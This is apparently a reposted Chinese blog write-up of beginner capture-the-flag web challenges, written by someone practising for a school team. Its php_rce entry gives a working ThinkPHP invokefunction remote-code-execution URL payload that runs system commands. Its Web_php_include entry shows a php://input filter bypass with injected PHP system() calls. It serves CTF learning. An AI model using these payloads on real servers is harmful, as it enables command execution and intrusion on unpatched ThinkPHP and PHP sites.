本文共 549 字，大约阅读时间需要 1 分钟。

• 想打进校队 感觉实力不够 最近复习一下 聊以自慰

baby_web

• 题目有提示 想想初始页面有哪个
• 访问的时候直接给你的是1.php页面
• 重新访问index.php
• 响应头里面有flag

Training-WWW-Robots

• 不多说 这个目的就是学习爬虫协议
• 直接访问/Robots.txt
• 直接给了flag文件
• 访问就行了

php_rce

• 直接利用这个进行命令执行

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /??s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

• 获取flag 这道题放到第三题属实困难了

Web_php_include

• php伪协议的利用
• ?page=phP://input 绕过strstr的过滤
• 接着就是Hackbar上传
• <?php system('ls ./'); ?>
• <?php system('cat ./fl4gisisish3r3.php'); ?>
• over

转载地址：http://lywmf.baihongyu.com/